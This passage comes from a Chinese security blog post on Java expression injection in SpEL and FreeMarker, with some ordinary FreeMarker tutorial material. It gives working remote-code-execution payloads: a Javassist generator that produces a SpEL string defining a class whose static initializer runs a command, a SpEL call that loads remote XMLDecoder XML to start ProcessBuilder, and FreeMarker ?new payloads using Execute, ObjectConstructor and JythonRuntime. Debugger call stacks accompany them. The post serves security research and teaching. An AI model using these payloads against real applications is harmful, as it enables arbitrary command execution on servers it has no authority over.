例如我们只需要将 contextClass 设置为 org.springframework.expression.ExpressionParser 并且要加载的类的类名设置为 org.springframework.expression 下的任意一个虚构的类即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static void main(String[] args) throws Exception {
String fqcn = "org.springframework.expression.EvilClass_" +
UUID.randomUUID().toString().replace("-", "");

byte[] bytes = buildClazzBytesWithClinit(fqcn, "calc");
String b64 = Base64.getEncoder().encodeToString(bytes);

String spel = "T(org.springframework.cglib.core.ReflectUtils).defineClass("
+ "'" + fqcn + "',"
+ "T(java.util.Base64).getDecoder().decode('" + b64 + "'),"
+ "T(org.springframework.expression.ExpressionParser).getClassLoader()," // 同 loader
+ "null,"
+ "T(org.springframework.expression.ExpressionParser)" // 同包的 contextClass
+ ")";

System.out.println(spel);
}

static byte[] buildClazzBytesWithClinit(String fqcn, String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass(fqcn);

cc.makeClassInitializer().setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

cc.getClassFile().setMajorVersion(52);
return cc.toBytecode();
}

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
exec:315, Runtime (java.lang)
<clinit>:-1, EvilInterceptor_9dd7c55669134ec4819a0eb7653eb98d (org.springframework.expression)
forName0:-1, Class (java.lang)
forName:467, Class (java.lang)
defineClass:604, ReflectUtils (org.springframework.cglib.core)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
execute:139, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal:139, MethodReference (org.springframework.expression.spel.ast)
access$000:55, MethodReference (org.springframework.expression.spel.ast)
getValue:383, MethodReference$MethodValueRef (org.springframework.expression.spel.ast)
getValueInternal:93, CompoundExpression (org.springframework.expression.spel.ast)
getValue:114, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:142, SpelExpression (org.springframework.expression.spel.standard)
spel:14, SpELController (com.example.speldemo)

提示

上述方式有时会出现如下错误:

loader ‘app’ attempted duplicate class definition for org.springframework.expression.EvilClass. (org.springframework.expression.EvilInterceptor is in unnamed module of loader ‘app’)

这实际上是 JVM 的硬错误:同一个 ClassLoader 里,同名类(同一 FQCN)只能被定义一次
日志里说的 loader 'app'(你的 WebAppClassLoader)之前已经加载过
org.springframework.expression.EvilClass,你又尝试用同名再定义。

因此我们需要每次更换类名:

1
2
String fqcn = "org.springframework.expression.EvilClass_" +
UUID.randomUUID().toString().replace("-", "");

远程加载 xml

javax.swing.plaf.synth.SynthLookAndFeel#load

1
new javax.swing.plaf.synth.SynthLookAndFeel().load(new java.net.URL("http://127.0.0.1:8000/1.xml"))
1
2
3
4
<new class="java.lang.ProcessBuilder">
<string>calc</string>
<object method="start"></object>
</new>
  • SpELController.spel → SpelExpression.getValue → MethodReference.execute

    • 你在 URL 里传的 SpEL:
      new javax.swing.plaf.synth.SynthLookAndFeel().load(new java.net.URL("http://.../1.xml"))
    • SpEL 解析后真的 newSynthLookAndFeel,并调用了 .load(URL)
  • SynthLookAndFeel.load

    • 内部做两件事:url.openStream() 读回 XML,交给 new SynthParser().parse(...)
  • SAXParser.parse → AbstractSAXParser.parse → XML11Configuration.parse

    • 标准 JAXP/Xerces 把 XML 逐标签回调给 SynthParser
  • SynthParser.endElement

    • 每读到一个结束标签(如 </new> / </object>),就驱动语义处理——核心是 com.sun.beans.decoder 包。

这套 JavaBeans XML Decoder 语法就是为了把 XML 解释成对象构建与方法调用

  • NewElementHandler.getValueObject / getContextBean

    • 解析 <new class="java.lang.ProcessBuilder"> … </new>

    • 先把子节点 <string>calc</string> 解析成构造参数;

    • 找到匹配的构造器后:

      • Constructor.newInstance(...) → NativeConstructorAccessorImpl.newInstance0
      • **到这就真正调用了 ProcessBuilder.<init>("calc")**(你看到的栈顶:<init>:229, ProcessBuilder
  • ObjectElementHandler.getValueObject

    • 解析 <object method="start"></object>
    • 反射找到 start(),再 Method.invoke(...) 调用;
    • **相当于 new ProcessBuilder("calc").start()**,进程被拉起。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<init>:229, ProcessBuilder (java.lang)
newInstance0:-1, NativeConstructorAccessorImpl (jdk.internal.reflect)
newInstance:77, NativeConstructorAccessorImpl (jdk.internal.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (jdk.internal.reflect)
newInstanceWithCaller:499, Constructor (java.lang.reflect)
newInstance:480, Constructor (java.lang.reflect)
getValueObject:156, NewElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
getContextBean:113, ElementHandler (com.sun.beans.decoder)
getContextBean:111, NewElementHandler (com.sun.beans.decoder)
getValueObject:146, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:321, DocumentHandler (com.sun.beans.decoder)
endElement:1228, SynthParser (javax.swing.plaf.synth)
endElement:618, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1728, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2899, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:605, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:542, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:889, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:825, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1224, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:637, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:326, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
parse:197, SAXParser (javax.xml.parsers)
parse:242, SynthParser (javax.swing.plaf.synth)
load:649, SynthLookAndFeel (javax.swing.plaf.synth)

FreeMarker

FreeMarker 是 Java 里的模板引擎(Apache 2.0 开源)。它把“模板文件(.ftl/.ftlh)”和“数据模型(Java 对象/Map)”合成各种文本输出:最常见是 HTML 页面,也能生成邮件正文、配置文件、甚至源码片段。

freemarker_diagram

FreeMarker 的 3 个核心概念

  • 模板(Template):已经解析好的 FTL 模板对象,可多次、并发复用来渲染输出。
  • 数据模型(Data-Model):通常是 Map/List/POJO 的包装,FreeMarker 通过 ObjectWrapper 将 Java 对象映射为模板可用的类型(字符串/数值/布尔/序列/哈希/时间等)。
  • 配置(Configuration):模板加载、编码、输出格式、自动转义、版本兼容(incompatible_improvements)等都在此设置。

基本概念

环境基础

FreeMarker 可以通过如下 Maven 坐标引入:

1
2
3
4
5
<dependency>
<groupId>org.freemarker</groupId>
<artifactId>freemarker</artifactId>
<version>2.3.34</version>
</dependency>

然后通过下面这段代码进行一些基本配置和使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// 必要的导入(也可用通配:import freemarker.template.*;)
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateExceptionHandler;
import freemarker.core.HTMLOutputFormat;

import java.io.StringWriter;
import java.util.Map;

// —— 下面是最小示例 ——

// 1) 创建全局配置对象;用常量锁定兼容行为到 2.3.34(不同版本细节可能有差异)
Configuration cfg = new Configuration(Configuration.VERSION_2_3_34);

// 2) 告诉 FreeMarker 去哪里找模板:从 classpath 的 /templates 目录加载
// 等价写法也常见:("templates");关键是你的模板打包后位于 classpath:/templates/
cfg.setClassLoaderForTemplateLoading(getClass().getClassLoader(), "/templates");

// 3) 统一编码,避免中文或符号乱码
cfg.setDefaultEncoding("UTF-8");

// 4) 模板出错时抛异常(开发期推荐);其他可选:IGNORE_HANDLER / DEBUG_HANDLER(不推荐生产)
cfg.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);

// 5) 指定输出为 HTML,从而启用对应自动转义规则(更安全)
// 也可以在模板首行写 <#ftl auto_esc=true> 或直接使用 .ftlh 后缀达到类似效果
cfg.setOutputFormat(HTMLOutputFormat.INSTANCE);

// 6) 获取已解析的模板对象(推荐 .ftlh:HTML 模式、默认自动转义)
Template tpl = cfg.getTemplate("hello.ftlh");

// 7) 准备数据模型;模板中可用 ${user} 访问
// 注意:Map.of 需要 JDK 9+;JDK 8 可改为 new HashMap<>() 然后 put
Map<String, Object> data = Map.of("user", "Alice");

// 8) 渲染到字符串(也可以传 OutputStreamWriter 写文件/HTTP 响应)
// StringWriter 关闭无影响,这里不必 try-with-resources
StringWriter out = new StringWriter();
tpl.process(data, out); // 可能抛 IOException / TemplateException
String html = out.toString(); // 渲染结果

FreeMarker 是 Spring Boot 官方内置自动配置支持的模板引擎之一(与 Thymeleaf、Groovy/Mustache 等并列)。

下面 maven 坐标对应的 FreeMarker 版本为 2.3.32:

1
2
3
4
5
6
7
8
9
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.17</version>
</parent>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-freemarker</artifactId>
</dependency>

基本语法

插值(Interpolations)

这里的“插值”(Interpolation)指的是:把一个表达式的值“插”进模板输出。在 FreeMarker(FTL)里,就是把数据模型里的变量/表达式结果渲染成文本。

  • 标准插值${expression},将表达式的值转为文本插入输出。
  • 数值插值#{expression} —— 仅用于数值的插值写法;已被官方标记为过时/不推荐,一般改用 ${n?c}(canonical,机器可读)或配置 number_format
  • 方括号插值(可选)[=expression],仅在启用“方括号标签语法”(2.3.28+)时可用,等价 ${…},很少需要。
1
2
3
4
<#-- hello.ftlh -->
<#ftl output_format="HTML" auto_esc=true>
<h1>Hello, ${user!"Guest"}!</h1>
<p>ID(machine): ${id?c}</p> <#-- 机器可读数值,避免 3,000,000 这种本地化格式 -->

常用指令(FTL 标签)

1
2
3
4
5
6
7
8
9
10
11
<#if cond> ... <#elseif other> ... <#else> ... </#if>

<#list users as u>
${u.name} - ${u.age}
</#list>

<#assign siteName = "Docs">

<#include "/partials/footer.ftlh"> <#-- 路径会被规范化到模板根 -->

<#-- 注释:不会出现在输出里 -->

再加上宏/函数与命名空间:

1
2
3
4
5
6
7
8
9
<#macro badge type text>
<span class="badge ${type}">${text}</span>
</#macro>

<@badge type="primary" text="New"/>

<#function fullName u>
<#return u.first + " " + u.last>
</#function>

内置函数

?api:把模板变量“切换成 Java 视角”

把模板里的值切到“Java 视角”,从而 在模板中调用 Java 方法/属性

1
2
${obj?api.someJavaMethod()}
${obj?api.someBeanProperty}

FreeMarker 2.3.22 开始支持,需要通过 Configurable.setAPIBuiltinEnabled(true) 或设置 api_builtin_enabled(默认为false)

并不是所有值都支持?api,自定义的 TemplateModel(实现了 freemarker.template.TemplateModelWithAPISupport 接口)可以支持 ?api

可以通过 value?has_api 来检测一个值是否支持 ?api

此外,freemarker.ext.beans 下有一个配置文件unsafeMethods.properties,限制了一些常见敏感方法的调用。

2.3.30 加入 java.security.ProtectionDomain.getClassLoader()

?new:在模板里“按类名反射实例化”

按类名 在模板里反射创建对象(返回的对象需是 FreeMarker 可调用的 TemplateModel,常见如 TemplateMethodModelEx / TemplateDirectiveModel):

1
2
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

用于实例化一个实现了freemarker.template.TemplateMethodModel接口的类,调用其构造器并返回一个变量。

2.3.17开始,可以通过Configuration.setNewBuiltinClassResolver(TemplateClassResolver.XXX) 或设置 new_builtin_class_resolver 来限制这个内建函数对类的访问,官方提供了三个预定义的类解析器(TemplateClassResolver接口下有)

  • UNRESTRICTED_RESOLVER:简单地调用ClassUtil.forName(String)
  • SAFER_RESOLVER:和第一个类似,但禁止解析ObjectConstructorExecuteJythonRuntime
  • ALLOWS_NOTHING_RESOLVER:禁止解析任何类。
1
2
3
4
5
6
7
8
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("calc")}

<#assign con="freemarker.template.utility.ObjectConstructor"?new()>
${con("java.lang.ProcessBuilder","calc").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()>
<@value>import os;os.system("calc")</@value>

freemarker.template.utility.JythonRuntime 能够执行python代码,默认没有jython依赖,需要引入

1
2
3
4
5
<dependency>
<groupId>org.python</groupId>
<artifactId>jython</artifactId>
<version>2.7.2</version>
</dependency>

Thymeleaf

Enjoy

Velocity

  • Title: Java 表达式注入
  • Author: sky123
  • Created at : 2025-10-02 14:39:01
  • Updated at : 2025-10-21 23:04:07
  • Link: https://skyi23.github.io/2025/10/02/Java 表达式注入/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments